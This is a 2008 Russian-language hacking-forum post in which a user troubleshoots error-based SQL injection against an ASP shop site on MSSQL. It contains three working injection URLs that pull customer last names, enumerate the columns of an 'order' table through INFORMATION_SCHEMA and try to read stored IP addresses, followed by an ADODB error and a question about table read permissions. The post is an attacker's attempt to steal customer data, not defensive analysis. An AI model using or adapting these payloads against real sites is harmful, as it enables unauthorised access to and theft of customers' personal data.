Провидение Иньекций в MSSQL сервер от Microsoft.

#11

08.02.2008, 05:24

~Taxa~

Новичок

Регистрация: 24.01.2008

Сообщений: 20

С нами: 9630275

Репутация: 15

Добрый день, столкнулся с траблой по MSSQL. Могу всмотреть таблицы и их колонки. НО не всех таблиц пример если взять 'customers'

Код:

site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+last_name+from+customer)--

то читать могу выдает имя юзера, а вот если взять 'order'

Код:

site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='order'+AND+COLUMN_NAME+NOT+IN+('ip','login_date'))--

показывает все, но если забить такой запрос

Код:

site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+ip+from+order)--

то облом пишит следующие:

Цитата:

ADODB.Field error '80020009'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

/shop/progucts.asp, line 0

Что это может значить? Я так понимаю что у меня нету прав на чтения это таблицы или я ошибаюсь?

Последний раз редактировалось ~Taxa~; 08.02.2008 в 05:32..